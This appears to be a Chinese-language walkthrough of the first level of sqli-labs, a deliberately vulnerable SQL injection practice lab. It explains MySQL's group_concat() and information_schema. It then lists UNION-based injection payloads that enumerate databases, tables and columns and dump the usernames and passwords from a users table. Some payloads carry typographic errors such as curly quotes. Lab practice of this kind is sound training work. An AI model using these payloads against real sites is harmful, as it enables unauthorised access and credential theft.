sqli-labs闯关## Less 1
简介:
1.group_concat()
功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
解释:首先要知道information_schema是什么。
在MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。
其中保存着关于MySQL服务器所维护的所有其他数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权限等。
2. table_schema()
列出test数据库中所有的表名,类型(普通表还是view)和使用的引擎
select table_name, table_type, engine
FROM information_schema.tables
WHERE table_schema = 'test'
ORDER BY table_name DESC;
解释: 对表的meta data的查询需要使用information_schema.tables,
table_schema是数据库的名称,table_name是具体的表名,table_type指的是表的类型
Less 1:
得到所有数据库名
?id=-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database() --+
得到当前数据库的的所有表名
?id=-1 union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)
查询当前数据库中users表中的所有字段
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3 --+
查询users表中所有的id,name,password
?id=-1 union select 1,group_concat(id),group_concat(username) from users–+
?id=-1 union select 1,group_concat(username),group_concat(password) from users–+